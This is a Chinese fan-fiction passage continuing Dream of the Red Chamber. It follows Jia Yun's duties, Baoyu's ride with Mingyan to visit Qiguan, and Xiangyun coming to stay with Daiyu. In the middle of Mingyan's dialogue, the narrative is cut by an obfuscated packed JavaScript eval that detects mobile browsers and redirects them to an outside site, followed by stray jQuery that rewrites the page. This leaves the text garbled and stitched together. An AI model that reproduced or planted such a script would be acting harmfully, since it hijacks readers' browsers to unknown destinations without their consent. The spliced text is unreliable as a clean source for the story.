因为宝玉不曾交代要去哪里,茗烟便只牵着马、顺着荣国府外墙沿街一路缓行,一面同宝玉闲叙着,不觉便走至一侧角门上。
那边门上正有个年轻的哥儿同管事的说话,仔细一看,却是贾芸。
贾芸也瞧见了宝玉,嘴里“哟”一声,忙小跑过来,在马下仰头瞧着宝玉,笑道:“宝叔这是才回来呢,还是要出去?”
宝玉在马上看见他,也笑道:“是你。家里闷得慌,我出去逛会子。看见你,我也才想起来,前儿同你说了,叫你得空来我那里坐坐、我们一处说话,你怎么不来?”
贾芸是最想上进的,好容易有宝玉邀他,他怎么不来?
自然是来的,来了还不止一回。
可每次贾芸领了差使进来,打听宝二爷可有空,宝玉却不是在同这个姐姐下棋,就是在与那个妹妹作画,十日倒有八日不得闲。
不是贾芸不来,是宝玉早将那一句轻飘飘的邀约抛在了九霄云外,次次都是丫头们冷冰冰地说一句“二爷不得空儿”,就打发了。
贾芸也无甚办法。
还好贾芸在凤姐那里领了监办花木的活,这项差使并非是一次性的,只要不出错儿,就可以一直领着。
府里太太奶奶姑娘小爷们生活考究,不管是院里种的、屋里摆的,每一处都离不了新鲜花木,四时景色不同,时令花儿也要跟着变,单这一项就有不少文章可做。还有那些名贵树种,株株都是矜贵的主儿,很挑剔水土,若是哪一株不成活,那也是常有的,一经发现、便要及时补种。
花木上的事已够他忙的,外头又有祖茔上的事要照管,所以贾芸的日子过得颇为充实。
祖茔那边的事,论理轮不到凤姐照管,她便是再能干,也是内宅的孙媳妇,外面田宅产业由不得她做主,秦可卿托的那个梦其实有些“强人所难”,但数着宁荣二府这一代的人物,除凤姐以外,到底又有谁有见识、有担当、有能力,数来数去竟也数不着了。
凤姐既然打定主意要做,便先与贾琏商量,贾琏听了,无可无不可的,听见要花钱,只让去回太太。凤姐早知他是个不中用的,不过是叫他知道,闻言自去回了王夫人。王夫人也不知其中厉害,便说与贾政。贾政思索一番,虽觉此举无甚必要,可也无甚坏处,将祖茔经营得好了,也有族人的好处,便告诉让人去告诉贾珍。贾珍见是这样不痛不痒的事,不愿费心,问明是凤姐的主意,叫账上拨一笔银子来,乐得将这事仍旧交给她去办。
这一圈周转下来,又已过了数月光景,且事情又落回自己手上,这也是意料之中的事情,凤姐便点了贾芸去办。
本来这活倒也不难,凤姐只交代贾芸,让他将祖茔维缮好,再在那附近多置些田庄地产,又叫将地契、田契等等单办在祭祀产业内,不与两府里其他的土地、产业混同。
这事本来也可使两个钱、打发些中人牙客去相看,贾芸却格外用心,自打接了这差使,便三天两头地亲自跑了去,又是请了内行的人做规划,又是亲自去一一相看、议价。
这买卖产业的事,一进一出油水极大,贾芸却算很有良心,虽不说两袖清风,账面却十分清楚,给府里省了不少银钱,凤姐见了也暗自诧异,对他也更倚重了。
祖茔的事费心费力,里面监办花木的活更加不能落下,贾芸打点了十二万分的精神,把各处的花木都用了心,往几个要紧人物的房中送去的花卉、盆景更是精中选精,这期间也颇有几盆不俗的能入了宝玉的眼,若非如此,宝玉只怕早就忘了他这个人了。
贾芸并不否认,拱手笑道:“侄儿有错,叫宝叔苦等。只是侄儿听闻这些日子宝叔都在闭门用功,如此勤奋,想是进益不少,侄儿虽是一心仰慕,却不敢打扰。”
好容易得一个容貌不俗的人可以谈讲谈讲,宝玉听见他又说到读书的事,触动先前金钏儿的说话,便有些不悦,手里不觉就将缰绳紧了一紧,那马儿觉得有些不适,又将头甩了甩,打了两个响鼻。
虽是对李叔驯马的本事放心,茗烟却不敢让宝玉有闪失,忙上前牢牢牵住了马儿,一面低声安抚道:“吁——吁——”
贾芸自然也察觉了宝玉的情绪变化,只不知道自己是哪一句话说得不对了,便转开话题笑道:“今儿天气好,这会子日头落了些,又不热,原该出去走一走,我才瞧见薛家的大爷也出去的,不知是不是一路?”
宝玉摇了摇头,道:“那倒并非是一路,你忙去罢,得空儿再与你谈讲。”他兴致已败了,不愿多谈,说着便拨转马头去了。
虽则贾芸叫宝玉“宝叔”,实则他比宝玉还大着五六岁,这会子叫他这么不咸不淡地打发了,贾芸却也不恼。
他既打定主意出来谋事、又下定决心要出人头地,便不能计较这些小事。
从前他热脸贴人冷屁股的时候还多着呢,连他亲舅舅都不肯拉扯他,别人就更没义务了。
贾芸目送宝玉去得远了,这才回转来,同一旁的小厮道:“明日未时二刻,有一批花儿便要送来,你带了人,早早就要候在这里好生接着。点数清楚了,一共是一十二盆,都要好好儿地送到琏二奶奶那院里。若是误了时辰,把东西堵在这里,或是磕了、碰了,带累我受埋怨,你们也得不着好儿去,听着了么?”
那小厮喏喏地一一都答应了。
---
方才听贾芸说起薛蟠,倒让宝玉想起另一个人来——
霰珠楼的碧玉妆姑娘。
那姑娘也是个知情知趣、软语温柔的妙人,人生得美、又擅唱,可惜不知为了什么缘故,这几次薛蟠请客时都不见再传她相陪了。
今日索性无事,若是能与她相谈相谈,倒也不辜负了这好辰光。
只是往日里有限的几次见面皆是在薛蟠做东的酒席上,两人又无暇深谈,他只知道她挂名的那座花楼的名字,却还真的不知道要如何寻得这位姑娘出来叙谈,便随口问茗烟:“霰珠楼怎么走?”
茗烟听见问,忙道:“怎么,
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16208304|162289||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
二爷要去‘霰珠楼’?”
宝玉啐道:“今儿你真是该打。爷问你一句,你就反问爷一句,正经是半句准话儿也没有,没得给人添气闷。”
茗烟笑道:“嗳,二爷消消气,这都是小的的不是。只是平白听二爷提起‘霰珠楼’来,小的以为自己听错了,这才问的,二爷‘大人不记小人过’,只作没听见罢。”
宝玉道:“你也学得愈发滑了,方才我有哪个字说得不清楚,怎么就疑心听错?我看你如今长大了,也有些托大起来,就是不愿引我出去,只想在家里躲懒。罢了,不劳您的驾,你回去,换扫红和锄药两个出来。”
茗烟笑道:“二爷怎么总想着要赶我?他两个不中用、又不会说话,到时惹得您老更生气了,不如还是用我。二爷会错了小的的意思了,说到那‘霰珠楼’——小的是知道的,自然也知道怎么去。可是这大白日的,咱们却不能就这么去——这里头,嗳,也是有些缘故。”
宝玉由着他牵着马慢慢地走着,一面问:“什么缘故?如何白日里不能去?”
茗烟笑道:“二爷是世家公子,少往外头去,自然不知道。‘那些地方’自然是得夜里去才有味、也更热闹。这白日里也不是不能去,只是那些姑娘们大多在歇息,二爷心里惦记的那位姐姐,只怕也难见客。便是实在有一二愿意出来的,怕也入不得二爷的眼。”
宝玉在马上将扇子转了转,敲了一下茗烟的头,笑道:“怎么,我不知道,你却知道。这里头的事你既然说得头头是道,定是常常去的了,我以为你也是总在家的,原来这样不老实。”
茗烟忙道:“冤枉,我也是听外头常出门的哥哥们讲的,我想着这些话二爷以后许是用得上,我便在心里记下了,您瞧,今日可不就是用上了?”
宝玉也懒怠同他说嘴,只沉吟道:“原来是这样的规矩,这也不难。只是今儿是临时起意,没同里面说、也无甚名目儿,晚上我倒不好出门的。”
茗烟想了一想,道:“二爷若嫌闷,不如去寻那琪官少爷顽一会子?他既不干那营生了,这会子想也是无事,只是路有些远,只怕少坐一会子,便得回来了。”
宝玉一拍手,笑道:“好极,就是这样办,我怎么就将他忘了?无妨,如今时辰还早,在路上想也用不了许多时间,咱们去到他家里,恐怕要吓得他一跳。”
茗烟见他双手离缰,忙道:“二爷可扶稳了些。”
两人便向紫檀堡琪官私宅而行。
---
没两日,贾母又将史湘云接了来,此番她便来潇湘馆与黛玉同住。
湘云的丫头翠缕在一旁与紫鹃整理着湘云这次带来的衣裳细软,湘云便站在桌前瞧黛玉写字儿。
过了一会儿,宝钗扶着丫头的手也来了,几人便一起说话、写字解闷。
湘云见宝钗身边的丫头眼生,感慨道:“我有些日子没来了,倒不认得这许多人。宝姐姐身边儿的这一位姐姐是谁,莺儿姐姐呢,怎么不在?”